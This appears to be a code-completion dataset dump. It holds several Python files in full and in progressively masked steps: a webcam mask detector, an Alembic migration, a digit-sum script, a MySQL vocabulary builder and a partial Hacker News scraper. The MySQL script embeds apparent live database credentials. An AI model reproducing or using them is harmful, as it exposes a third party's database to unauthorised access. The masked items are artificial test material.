cv2.putText(image, "{}:{}".format(cls, int(prob*100)), (b[0], b[1]), cv2.FONT_ITALIC, 1, colors[cid].tolist(), 2)
cv2.imshow("image", image)
cv2.waitKey()
def to_video(det):
size = 512
val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]
cap = cv2.VideoCapture(0 + cv2.CAP_DSHOW) # 参数为0时调用本地摄像头；url连接调取网络摄像头；文件地址获取本地视频
cap.set(3, 1920) # 设置分辨率
cap.set(4, 1080)
cap.set(cv2.CAP_PROP_FPS, 30)
ret, frame = cap.read()
while (True):
ret, frame = cap.read()
frame = frame[:, ::-1]
frame = frame[:, 440: -440]
image = cv2.resize(frame, (size, size))
bboxes = det.predict(image.copy(), size, (0.5, 0.5))
for cid, bbox in bboxes[0].items():
cls = "mask" if cid == 1 else "face"
for b in bbox:
prob = b[-1]
b = b[:4].astype(int)
cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid].tolist(), 1, cv2.LINE_AA)
cv2.putText(image, "{}:{}".format(cls, int(prob * 100)), (b[0], b[1]), cv2.FONT_ITALIC, 1,
colors[cid].tolist(), 2)
cv2.imshow("image", image)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
if __name__ == '__main__':
det = Detector(classes_info, model_info, "cuda")
det.load_model("checkpoints/2021-03-08 00.11.56/epoch=331_4.7689.pth")
# to_image(det)
to_video(det)
|
normal
|
{
"blob_id": "97e7ca02d85267492a0dcbbda9d8754a0a3735a5",
"index": 5315,
"step-1": "<mask token>\n\n\ndef to_image(det):\n size = 512\n val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]\n val_trans = Compose(val_trans)\n for i in range(5, 200):\n path = f'D:/temp_data/mask/test/{i}.jpg '\n print(path)\n image = cv2.imread(path)\n image = cv2.resize(image, (size, size))\n bboxes = det.predict(image.copy(), size, (0.2, 0.2))\n for cid, bbox in bboxes[0].items():\n cls = 'mask' if cid == 1 else 'face'\n for b in bbox:\n prob = b[-1]\n b = b[:4].astype(int)\n cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid\n ].tolist(), 1, cv2.LINE_AA)\n cv2.putText(image, '{}:{}'.format(cls, int(prob * 100)), (b\n [0], b[1]), cv2.FONT_ITALIC, 1, colors[cid].tolist(), 2)\n cv2.imshow('image', image)\n cv2.waitKey()\n\n\ndef to_video(det):\n size = 512\n val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]\n cap = cv2.VideoCapture(0 + cv2.CAP_DSHOW)\n cap.set(3, 1920)\n cap.set(4, 1080)\n cap.set(cv2.CAP_PROP_FPS, 30)\n ret, frame = cap.read()\n while True:\n ret, frame = cap.read()\n frame = frame[:, ::-1]\n frame = frame[:, 440:-440]\n image = cv2.resize(frame, (size, size))\n bboxes = det.predict(image.copy(), size, (0.5, 0.5))\n for cid, bbox in bboxes[0].items():\n cls = 'mask' if cid == 1 else 'face'\n for b in bbox:\n prob = b[-1]\n b = b[:4].astype(int)\n cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid\n ].tolist(), 1, cv2.LINE_AA)\n cv2.putText(image, '{}:{}'.format(cls, int(prob * 100)), (b\n [0], b[1]), cv2.FONT_ITALIC, 1, colors[cid].tolist(), 2)\n cv2.imshow('image', image)\n if cv2.waitKey(1) & 255 == ord('q'):\n break\n\n\n<mask token>\n",
"step-2": "<mask token>\nnp.random.seed(3)\n<mask token>\n\n\ndef to_image(det):\n size = 512\n val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]\n val_trans = Compose(val_trans)\n for i in range(5, 200):\n path = f'D:/temp_data/mask/test/{i}.jpg '\n print(path)\n image = cv2.imread(path)\n image = cv2.resize(image, (size, size))\n bboxes = det.predict(image.copy(), size, (0.2, 0.2))\n for cid, bbox in bboxes[0].items():\n cls = 'mask' if cid == 1 else 'face'\n for b in bbox:\n prob = b[-1]\n b = b[:4].astype(int)\n cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid\n ].tolist(), 1, cv2.LINE_AA)\n cv2.putText(image, '{}:{}'.format(cls, int(prob * 100)), (b\n [0], b[1]), cv2.FONT_ITALIC, 1, colors[cid].tolist(), 2)\n cv2.imshow('image', image)\n cv2.waitKey()\n\n\ndef to_video(det):\n size = 512\n val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]\n cap = cv2.VideoCapture(0 + cv2.CAP_DSHOW)\n cap.set(3, 1920)\n cap.set(4, 1080)\n cap.set(cv2.CAP_PROP_FPS, 30)\n ret, frame = cap.read()\n while True:\n ret, frame = cap.read()\n frame = frame[:, ::-1]\n frame = frame[:, 440:-440]\n image = cv2.resize(frame, (size, size))\n bboxes = det.predict(image.copy(), size, (0.5, 0.5))\n for cid, bbox in bboxes[0].items():\n cls = 'mask' if cid == 1 else 'face'\n for b in bbox:\n prob = b[-1]\n b = b[:4].astype(int)\n cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid\n ].tolist(), 1, cv2.LINE_AA)\n cv2.putText(image, '{}:{}'.format(cls, int(prob * 100)), (b\n [0], b[1]), cv2.FONT_ITALIC, 1, colors[cid].tolist(), 2)\n cv2.imshow('image', image)\n if cv2.waitKey(1) & 255 == ord('q'):\n break\n\n\nif __name__ == '__main__':\n det = Detector(classes_info, model_info, 'cuda')\n det.load_model('checkpoints/2021-03-08 00.11.56/epoch=331_4.7689.pth')\n to_video(det)\n",
"step-3": "<mask token>\nnp.random.seed(3)\ncolors = np.random.randint(128, 256, (100, 3))\n\n\ndef to_image(det):\n size = 512\n val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]\n val_trans = Compose(val_trans)\n for i in range(5, 200):\n path = f'D:/temp_data/mask/test/{i}.jpg '\n print(path)\n image = cv2.imread(path)\n image = cv2.resize(image, (size, size))\n bboxes = det.predict(image.copy(), size, (0.2, 0.2))\n for cid, bbox in bboxes[0].items():\n cls = 'mask' if cid == 1 else 'face'\n for b in bbox:\n prob = b[-1]\n b = b[:4].astype(int)\n cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid\n ].tolist(), 1, cv2.LINE_AA)\n cv2.putText(image, '{}:{}'.format(cls, int(prob * 100)), (b\n [0], b[1]), cv2.FONT_ITALIC, 1, colors[cid].tolist(), 2)\n cv2.imshow('image', image)\n cv2.waitKey()\n\n\ndef to_video(det):\n size = 512\n val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]\n cap = cv2.VideoCapture(0 + cv2.CAP_DSHOW)\n cap.set(3, 1920)\n cap.set(4, 1080)\n cap.set(cv2.CAP_PROP_FPS, 30)\n ret, frame = cap.read()\n while True:\n ret, frame = cap.read()\n frame = frame[:, ::-1]\n frame = frame[:, 440:-440]\n image = cv2.resize(frame, (size, size))\n bboxes = det.predict(image.copy(), size, (0.5, 0.5))\n for cid, bbox in bboxes[0].items():\n cls = 'mask' if cid == 1 else 'face'\n for b in bbox:\n prob = b[-1]\n b = b[:4].astype(int)\n cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid\n ].tolist(), 1, cv2.LINE_AA)\n cv2.putText(image, '{}:{}'.format(cls, int(prob * 100)), (b\n [0], b[1]), cv2.FONT_ITALIC, 1, colors[cid].tolist(), 2)\n cv2.imshow('image', image)\n if cv2.waitKey(1) & 255 == ord('q'):\n break\n\n\nif __name__ == '__main__':\n det = Detector(classes_info, model_info, 'cuda')\n det.load_model('checkpoints/2021-03-08 00.11.56/epoch=331_4.7689.pth')\n to_video(det)\n",
"step-4": "from core.detector import Detector\nfrom utils.augmentations import *\nfrom torchvision.transforms.transforms import Compose\nfrom config.mask_config import *\nfrom config.train_config import model_info\nnp.random.seed(3)\ncolors = np.random.randint(128, 256, (100, 3))\n\n\ndef to_image(det):\n size = 512\n val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]\n val_trans = Compose(val_trans)\n for i in range(5, 200):\n path = f'D:/temp_data/mask/test/{i}.jpg '\n print(path)\n image = cv2.imread(path)\n image = cv2.resize(image, (size, size))\n bboxes = det.predict(image.copy(), size, (0.2, 0.2))\n for cid, bbox in bboxes[0].items():\n cls = 'mask' if cid == 1 else 'face'\n for b in bbox:\n prob = b[-1]\n b = b[:4].astype(int)\n cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid\n ].tolist(), 1, cv2.LINE_AA)\n cv2.putText(image, '{}:{}'.format(cls, int(prob * 100)), (b\n [0], b[1]), cv2.FONT_ITALIC, 1, colors[cid].tolist(), 2)\n cv2.imshow('image', image)\n cv2.waitKey()\n\n\ndef to_video(det):\n size = 512\n val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]\n cap = cv2.VideoCapture(0 + cv2.CAP_DSHOW)\n cap.set(3, 1920)\n cap.set(4, 1080)\n cap.set(cv2.CAP_PROP_FPS, 30)\n ret, frame = cap.read()\n while True:\n ret, frame = cap.read()\n frame = frame[:, ::-1]\n frame = frame[:, 440:-440]\n image = cv2.resize(frame, (size, size))\n bboxes = det.predict(image.copy(), size, (0.5, 0.5))\n for cid, bbox in bboxes[0].items():\n cls = 'mask' if cid == 1 else 'face'\n for b in bbox:\n prob = b[-1]\n b = b[:4].astype(int)\n cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid\n ].tolist(), 1, cv2.LINE_AA)\n cv2.putText(image, '{}:{}'.format(cls, int(prob * 100)), (b\n [0], b[1]), cv2.FONT_ITALIC, 1, colors[cid].tolist(), 2)\n cv2.imshow('image', image)\n if cv2.waitKey(1) & 255 == ord('q'):\n break\n\n\nif __name__ == '__main__':\n det = Detector(classes_info, model_info, 'cuda')\n det.load_model('checkpoints/2021-03-08 00.11.56/epoch=331_4.7689.pth')\n to_video(det)\n",
"step-5": "from core.detector import Detector\nfrom utils.augmentations import *\nfrom torchvision.transforms.transforms import Compose\nfrom config.mask_config import *\nfrom config.train_config import model_info\n\n\nnp.random.seed(3)\ncolors = np.random.randint(128, 256, (100, 3))\n\n\ndef to_image(det):\n size = 512\n\n val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]\n val_trans = Compose(val_trans)\n for i in range(5, 200):\n\n path = f\"D:/temp_data/mask/test/{i}.jpg \"\n print(path)\n image = cv2.imread(path)\n\n image = cv2.resize(image, (size, size))\n bboxes = det.predict(image.copy(), size, (0.2, 0.2))\n\n for cid, bbox in bboxes[0].items():\n cls = \"mask\" if cid == 1 else \"face\"\n for b in bbox:\n prob = b[-1]\n b = b[:4].astype(int)\n cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid].tolist(), 1, cv2.LINE_AA)\n cv2.putText(image, \"{}:{}\".format(cls, int(prob*100)), (b[0], b[1]), cv2.FONT_ITALIC, 1, colors[cid].tolist(), 2)\n cv2.imshow(\"image\", image)\n cv2.waitKey()\n\ndef to_video(det):\n size = 512\n\n val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]\n\n cap = cv2.VideoCapture(0 + cv2.CAP_DSHOW) # 参数为0时调用本地摄像头；url连接调取网络摄像头；文件地址获取本地视频\n cap.set(3, 1920) # 设置分辨率\n cap.set(4, 1080)\n cap.set(cv2.CAP_PROP_FPS, 30)\n ret, frame = cap.read()\n while (True):\n ret, frame = cap.read()\n frame = frame[:, ::-1]\n frame = frame[:, 440: -440]\n image = cv2.resize(frame, (size, size))\n bboxes = det.predict(image.copy(), size, (0.5, 0.5))\n\n for cid, bbox in bboxes[0].items():\n cls = \"mask\" if cid == 1 else \"face\"\n for b in bbox:\n prob = b[-1]\n b = b[:4].astype(int)\n cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid].tolist(), 1, cv2.LINE_AA)\n cv2.putText(image, \"{}:{}\".format(cls, int(prob * 100)), (b[0], b[1]), cv2.FONT_ITALIC, 1,\n colors[cid].tolist(), 2)\n cv2.imshow(\"image\", image)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\nif __name__ == '__main__':\n det = Detector(classes_info, model_info, \"cuda\")\n det.load_model(\"checkpoints/2021-03-08 00.11.56/epoch=331_4.7689.pth\")\n # to_image(det)\n to_video(det)\n",
"step-ids": [
2,
3,
4,
5,
6
]
}
|
[
2,
3,
4,
5,
6
] |
s=input()
count=0
while(len(s)!=1):
count+=1
a=0
for i in range(len(s)):
a+=int(s[i])
s=str(a)
print(count)
|
normal
|
{
"blob_id": "638e21e1eb1e2e14244628260d9c7ac179983721",
"index": 2541,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwhile len(s) != 1:\n count += 1\n a = 0\n for i in range(len(s)):\n a += int(s[i])\n s = str(a)\nprint(count)\n",
"step-3": "s = input()\ncount = 0\nwhile len(s) != 1:\n count += 1\n a = 0\n for i in range(len(s)):\n a += int(s[i])\n s = str(a)\nprint(count)\n",
"step-4": "s=input()\r\ncount=0\r\nwhile(len(s)!=1):\r\n count+=1\r\n a=0\r\n for i in range(len(s)):\r\n a+=int(s[i])\r\n s=str(a)\r\nprint(count)\r\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
"""Changed Views table name
Revision ID: 7f559bb24ca4
Revises: cc927fe47c8f
Create Date: 2021-08-20 23:20:31.959984
"""
import sqlalchemy as sa
from alembic import op
# revision identifiers, used by Alembic.
revision = "7f559bb24ca4"
down_revision = "cc927fe47c8f"
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table(
"views",
sa.Column("id", sa.Integer(), autoincrement=True, nullable=False),
sa.Column("url_id", sa.String(length=31), nullable=True),
sa.ForeignKeyConstraint(
["url_id"],
["urls.id"],
),
sa.PrimaryKeyConstraint("id"),
)
op.drop_table("view")
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table(
"view",
sa.Column("id", sa.INTEGER(), nullable=False),
sa.Column("url_id", sa.VARCHAR(length=31), nullable=True),
sa.ForeignKeyConstraint(
["url_id"],
["urls.id"],
),
sa.PrimaryKeyConstraint("id"),
)
op.drop_table("views")
# ### end Alembic commands ###
|
normal
|
{
"blob_id": "fd2b60de2ef540264855f04e1c5bcb9d1cf23c51",
"index": 9561,
"step-1": "<mask token>\n\n\ndef upgrade():\n op.create_table('views', sa.Column('id', sa.Integer(), autoincrement=\n True, nullable=False), sa.Column('url_id', sa.String(length=31),\n nullable=True), sa.ForeignKeyConstraint(['url_id'], ['urls.id']),\n sa.PrimaryKeyConstraint('id'))\n op.drop_table('view')\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef upgrade():\n op.create_table('views', sa.Column('id', sa.Integer(), autoincrement=\n True, nullable=False), sa.Column('url_id', sa.String(length=31),\n nullable=True), sa.ForeignKeyConstraint(['url_id'], ['urls.id']),\n sa.PrimaryKeyConstraint('id'))\n op.drop_table('view')\n\n\ndef downgrade():\n op.create_table('view', sa.Column('id', sa.INTEGER(), nullable=False),\n sa.Column('url_id', sa.VARCHAR(length=31), nullable=True), sa.\n ForeignKeyConstraint(['url_id'], ['urls.id']), sa.\n PrimaryKeyConstraint('id'))\n op.drop_table('views')\n",
"step-3": "<mask token>\nrevision = '7f559bb24ca4'\ndown_revision = 'cc927fe47c8f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.create_table('views', sa.Column('id', sa.Integer(), autoincrement=\n True, nullable=False), sa.Column('url_id', sa.String(length=31),\n nullable=True), sa.ForeignKeyConstraint(['url_id'], ['urls.id']),\n sa.PrimaryKeyConstraint('id'))\n op.drop_table('view')\n\n\ndef downgrade():\n op.create_table('view', sa.Column('id', sa.INTEGER(), nullable=False),\n sa.Column('url_id', sa.VARCHAR(length=31), nullable=True), sa.\n ForeignKeyConstraint(['url_id'], ['urls.id']), sa.\n PrimaryKeyConstraint('id'))\n op.drop_table('views')\n",
"step-4": "<mask token>\nimport sqlalchemy as sa\nfrom alembic import op\nrevision = '7f559bb24ca4'\ndown_revision = 'cc927fe47c8f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.create_table('views', sa.Column('id', sa.Integer(), autoincrement=\n True, nullable=False), sa.Column('url_id', sa.String(length=31),\n nullable=True), sa.ForeignKeyConstraint(['url_id'], ['urls.id']),\n sa.PrimaryKeyConstraint('id'))\n op.drop_table('view')\n\n\ndef downgrade():\n op.create_table('view', sa.Column('id', sa.INTEGER(), nullable=False),\n sa.Column('url_id', sa.VARCHAR(length=31), nullable=True), sa.\n ForeignKeyConstraint(['url_id'], ['urls.id']), sa.\n PrimaryKeyConstraint('id'))\n op.drop_table('views')\n",
"step-5": "\"\"\"Changed Views table name\n\nRevision ID: 7f559bb24ca4\nRevises: cc927fe47c8f\nCreate Date: 2021-08-20 23:20:31.959984\n\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"7f559bb24ca4\"\ndown_revision = \"cc927fe47c8f\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"views\",\n sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n sa.Column(\"url_id\", sa.String(length=31), nullable=True),\n sa.ForeignKeyConstraint(\n [\"url_id\"],\n [\"urls.id\"],\n ),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n op.drop_table(\"view\")\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"view\",\n sa.Column(\"id\", sa.INTEGER(), nullable=False),\n sa.Column(\"url_id\", sa.VARCHAR(length=31), nullable=True),\n sa.ForeignKeyConstraint(\n [\"url_id\"],\n [\"urls.id\"],\n ),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n op.drop_table(\"views\")\n # ### end Alembic commands ###\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
#!/usr/bin/env python
# encoding=utf-8
import MySQLdb
import re
# 打开数据库连接
db = MySQLdb.connect(host='wonderfulloffline.mysql.rds.aliyuncs.com',port=3306,user='wonderfull_ai',password='868wxRHrPaTKkjvC', db='wonderfull_ai_online', charset='utf8' )
def load_stop_word():
stop_word=set()
with open("data/stop_word.txt","r",encoding="utf-8") as file:
for line in file.readlines():
stop_word.add(line.strip())
return stop_word
# 使用cursor()方法获取操作游标
def get_goods_title_dict(stop_word_dict):
cursor = db.cursor()
# 使用execute方法执行SQL语句
cursor.execute("select goods_name FROM goods")
# 使用 fetchone() 方法获取一条数据
data = cursor.fetchall()
goods_name_dict=dict()
idx=1
for line in data:
title = line[0].strip().lower()
for c in title:
if(c.strip()==''):
continue
if(c in stop_word_dict):
continue
if(c not in goods_name_dict):
goods_name_dict[c]=idx
idx=idx+1
cursor.execute("select goods_name FROM goods where is_onsell=1")
data = cursor.fetchall()
regexp = r"[0-9a-z]+"
pattern = re.compile(regexp)
for line in data:
title = line[0].strip().lower()
match_res = pattern.findall(title)
print(title,match_res)
for item in match_res:
if (item not in goods_name_dict):
goods_name_dict[item] = idx
idx = idx + 1
# 关闭数据库连接
# db.close()
return goods_name_dict
def write_dict(word_dict):
file=open("data/vocab_unigram.txt","w",encoding="utf-8")
file.write("[UNK]"+"\t"+"0"+"\n")
for k,v in word_dict.items():
# print(k,v)
file.write(k+"\t"+str(v)+"\n")
file.close()
if __name__ == '__main__':
stop_word_dict=load_stop_word()
goods_name_dict=get_goods_title_dict(stop_word_dict)
# print(goods_name_dict)
write_dict(goods_name_dict)
|
normal
|
{
"blob_id": "4942b20a8e4f58c52b82800fb4c59db169cd8048",
"index": 3562,
"step-1": "<mask token>\n\n\ndef load_stop_word():\n stop_word = set()\n with open('data/stop_word.txt', 'r', encoding='utf-8') as file:\n for line in file.readlines():\n stop_word.add(line.strip())\n return stop_word\n\n\n<mask token>\n\n\ndef write_dict(word_dict):\n file = open('data/vocab_unigram.txt', 'w', encoding='utf-8')\n file.write('[UNK]' + '\\t' + '0' + '\\n')\n for k, v in word_dict.items():\n file.write(k + '\\t' + str(v) + '\\n')\n file.close()\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef load_stop_word():\n stop_word = set()\n with open('data/stop_word.txt', 'r', encoding='utf-8') as file:\n for line in file.readlines():\n stop_word.add(line.strip())\n return stop_word\n\n\ndef get_goods_title_dict(stop_word_dict):\n cursor = db.cursor()\n cursor.execute('select goods_name FROM goods')\n data = cursor.fetchall()\n goods_name_dict = dict()\n idx = 1\n for line in data:\n title = line[0].strip().lower()\n for c in title:\n if c.strip() == '':\n continue\n if c in stop_word_dict:\n continue\n if c not in goods_name_dict:\n goods_name_dict[c] = idx\n idx = idx + 1\n cursor.execute('select goods_name FROM goods where is_onsell=1')\n data = cursor.fetchall()\n regexp = '[0-9a-z]+'\n pattern = re.compile(regexp)\n for line in data:\n title = line[0].strip().lower()\n match_res = pattern.findall(title)\n print(title, match_res)\n for item in match_res:\n if item not in goods_name_dict:\n goods_name_dict[item] = idx\n idx = idx + 1\n return goods_name_dict\n\n\ndef write_dict(word_dict):\n file = open('data/vocab_unigram.txt', 'w', encoding='utf-8')\n file.write('[UNK]' + '\\t' + '0' + '\\n')\n for k, v in word_dict.items():\n file.write(k + '\\t' + str(v) + '\\n')\n file.close()\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef load_stop_word():\n stop_word = set()\n with open('data/stop_word.txt', 'r', encoding='utf-8') as file:\n for line in file.readlines():\n stop_word.add(line.strip())\n return stop_word\n\n\ndef get_goods_title_dict(stop_word_dict):\n cursor = db.cursor()\n cursor.execute('select goods_name FROM goods')\n data = cursor.fetchall()\n goods_name_dict = dict()\n idx = 1\n for line in data:\n title = line[0].strip().lower()\n for c in title:\n if c.strip() == '':\n continue\n if c in stop_word_dict:\n continue\n if c not in goods_name_dict:\n goods_name_dict[c] = idx\n idx = idx + 1\n cursor.execute('select goods_name FROM goods where is_onsell=1')\n data = cursor.fetchall()\n regexp = '[0-9a-z]+'\n pattern = re.compile(regexp)\n for line in data:\n title = line[0].strip().lower()\n match_res = pattern.findall(title)\n print(title, match_res)\n for item in match_res:\n if item not in goods_name_dict:\n goods_name_dict[item] = idx\n idx = idx + 1\n return goods_name_dict\n\n\ndef write_dict(word_dict):\n file = open('data/vocab_unigram.txt', 'w', encoding='utf-8')\n file.write('[UNK]' + '\\t' + '0' + '\\n')\n for k, v in word_dict.items():\n file.write(k + '\\t' + str(v) + '\\n')\n file.close()\n\n\nif __name__ == '__main__':\n stop_word_dict = load_stop_word()\n goods_name_dict = get_goods_title_dict(stop_word_dict)\n write_dict(goods_name_dict)\n",
"step-4": "<mask token>\ndb = MySQLdb.connect(host='wonderfulloffline.mysql.rds.aliyuncs.com', port=\n 3306, user='wonderfull_ai', password='868wxRHrPaTKkjvC', db=\n 'wonderfull_ai_online', charset='utf8')\n\n\ndef load_stop_word():\n stop_word = set()\n with open('data/stop_word.txt', 'r', encoding='utf-8') as file:\n for line in file.readlines():\n stop_word.add(line.strip())\n return stop_word\n\n\ndef get_goods_title_dict(stop_word_dict):\n cursor = db.cursor()\n cursor.execute('select goods_name FROM goods')\n data = cursor.fetchall()\n goods_name_dict = dict()\n idx = 1\n for line in data:\n title = line[0].strip().lower()\n for c in title:\n if c.strip() == '':\n continue\n if c in stop_word_dict:\n continue\n if c not in goods_name_dict:\n goods_name_dict[c] = idx\n idx = idx + 1\n cursor.execute('select goods_name FROM goods where is_onsell=1')\n data = cursor.fetchall()\n regexp = '[0-9a-z]+'\n pattern = re.compile(regexp)\n for line in data:\n title = line[0].strip().lower()\n match_res = pattern.findall(title)\n print(title, match_res)\n for item in match_res:\n if item not in goods_name_dict:\n goods_name_dict[item] = idx\n idx = idx + 1\n return goods_name_dict\n\n\ndef write_dict(word_dict):\n file = open('data/vocab_unigram.txt', 'w', encoding='utf-8')\n file.write('[UNK]' + '\\t' + '0' + '\\n')\n for k, v in word_dict.items():\n file.write(k + '\\t' + str(v) + '\\n')\n file.close()\n\n\nif __name__ == '__main__':\n stop_word_dict = load_stop_word()\n goods_name_dict = get_goods_title_dict(stop_word_dict)\n write_dict(goods_name_dict)\n",
"step-5": "#!/usr/bin/env python\r\n# encoding=utf-8\r\nimport MySQLdb\r\nimport re\r\n\r\n# 打开数据库连接\r\ndb = MySQLdb.connect(host='wonderfulloffline.mysql.rds.aliyuncs.com',port=3306,user='wonderfull_ai',password='868wxRHrPaTKkjvC', db='wonderfull_ai_online', charset='utf8' )\r\n\r\ndef load_stop_word():\r\n stop_word=set()\r\n with open(\"data/stop_word.txt\",\"r\",encoding=\"utf-8\") as file:\r\n for line in file.readlines():\r\n stop_word.add(line.strip())\r\n return stop_word\r\n\r\n# 使用cursor()方法获取操作游标\r\ndef get_goods_title_dict(stop_word_dict):\r\n cursor = db.cursor()\r\n # 使用execute方法执行SQL语句\r\n cursor.execute(\"select goods_name FROM goods\")\r\n # 使用 fetchone() 方法获取一条数据\r\n data = cursor.fetchall()\r\n goods_name_dict=dict()\r\n idx=1\r\n\r\n for line in data:\r\n title = line[0].strip().lower()\r\n for c in title:\r\n if(c.strip()==''):\r\n continue\r\n if(c in stop_word_dict):\r\n continue\r\n if(c not in goods_name_dict):\r\n goods_name_dict[c]=idx\r\n idx=idx+1\r\n\r\n cursor.execute(\"select goods_name FROM goods where is_onsell=1\")\r\n data = cursor.fetchall()\r\n regexp = r\"[0-9a-z]+\"\r\n pattern = re.compile(regexp)\r\n for line in data:\r\n title = line[0].strip().lower()\r\n match_res = pattern.findall(title)\r\n print(title,match_res)\r\n for item in match_res:\r\n if (item not in goods_name_dict):\r\n goods_name_dict[item] = idx\r\n idx = idx + 1\r\n\r\n # 关闭数据库连接\r\n # db.close()\r\n return goods_name_dict\r\n\r\ndef write_dict(word_dict):\r\n file=open(\"data/vocab_unigram.txt\",\"w\",encoding=\"utf-8\")\r\n file.write(\"[UNK]\"+\"\\t\"+\"0\"+\"\\n\")\r\n for k,v in word_dict.items():\r\n # print(k,v)\r\n file.write(k+\"\\t\"+str(v)+\"\\n\")\r\n file.close()\r\n\r\nif __name__ == '__main__':\r\n stop_word_dict=load_stop_word()\r\n goods_name_dict=get_goods_title_dict(stop_word_dict)\r\n # print(goods_name_dict)\r\n write_dict(goods_name_dict)",
"step-ids": [
2,
3,
4,
5,
7
]
}
|
[
2,
3,
4,
5,
7
] |
# -*- coding: utf-8 -*-
import requests
import csv
from lxml import html
import json
class ycombinatorParser():
siteurl = 'https://news.ycombinator.com/'
def getNextPage(pageurl):
response = requests.get(pageurl)
parsed_body = html.fromstring(response.text)
nextpage=parsed_body.xpath('//a[@class="morelink"]')
try:
nexthref=nextpage[0].get('href')
except IndexError:
nexthref = ''
return nexthref
def parsePage(parsed_body,rownumber):
def jsonWriteLine(rownumber,title,autor,url,site):
line = '{"Rownumber": %d,\n "title": "%s",\n "autor": "%s",\n "url": "%s",\n "site": "%s",\n }\n' %(rownumber,title,autor,url,site)
#print line
return line
def getNews(rownews):
newsdict = {}
for news in rownews:
newsdict["title"] = ''.join(news.xpath('./a/text()'))
for i in news.xpath('./a'):
newsdict["url"] = i.get('href')
newsdict["site"] = ''.join(news.xpath('./span/a/span/text()'))
return newsdict
def getAuthor(rowautor):
authordict = {}
for author in rowautor:
authordict["autor"] = ''.join(author.xpath('./a[1]/text()'))
return authordict
for row in parsed_body.xpath('//tr'):
rownews = row.xpath('./td[@class="title"][2]')
rowautor = row.xpath('./td[@class="subtext"][1]')
datadict = {}
rowdata = {}
if rownews:
datadict = getNews(rownews)
if rowautor:
for author in rowautor:
datadict = getAuthor(rowautor)
if datadict:
autor = ''
try:
title=datadict["title"]
url=datadict["url"]
site=datadict["site"]
except KeyError:
autor = datadict["autor"]
if autor:
rowdata['rownumber'] = str(rownumber)
rowdata['title'] = str(title)
rowdata['autor'] = str(autor)
rowdata['url'] = str(url)
rowdata['site'] = str(site)
with open('nix.json',mode='a') as f:
json.dump(rowdata,f)
#outputfile.write(jsonWriteLine(rownumber,title,autor,url,site))
#print jsonWriteLine(rownumber,title,autor,url,site)
rownumber += 1
if rownumber>2:
exit()
return rownumber
def __unicode__(self):
return unicode(self.rowdata)
pageflag = True
rownumber = 1
pageparse = siteurl
with open('nix.json',mode='w') as f:
json.dump('',f)
while pageflag:
response = requests.get(pageparse)
parsed_body = html.fromstring(response.text)
rownumber = parsePage(parsed_body,rownumber)-1
pageparse = siteurl+getNextPage(pageparse)
if pageparse == siteurl:
pageflag = False
if __name__ == '__main__':
ycombinatorParser()
|
normal
|
{
"blob_id": "87c27711c0089ca2c7e5c7d0e9edb51b9d4008d9",
"index": 6717,
"step-1": "<mask token>\n\n\nclass ycombinatorParser:\n <mask token>\n\n def getNextPage(pageurl):\n response = requests.get(pageurl)\n parsed_body = html.fromstring(response.text)\n nextpage = parsed_body.xpath('//a[@class=\"morelink\"]')\n try:\n nexthref = nextpage[0].get('href')\n except IndexError:\n nexthref = ''\n return nexthref\n\n def parsePage(parsed_body, rownumber):\n\n def jsonWriteLine(rownumber, title, autor, url, site):\n line = (\n \"\"\"{\"Rownumber\": %d,\n \"title\": \"%s\",\n \"autor\": \"%s\",\n \"url\": \"%s\",\n \"site\": \"%s\",\n }\n\"\"\"\n % (rownumber, title, autor, url, site))\n return line\n\n def getNews(rownews):\n newsdict = {}\n for news in rownews:\n newsdict['title'] = ''.join(news.xpath('./a/text()'))\n for i in news.xpath('./a'):\n newsdict['url'] = i.get('href')\n newsdict['site'] = ''.join(news.xpath('./span/a/span/text()'))\n return newsdict\n\n def 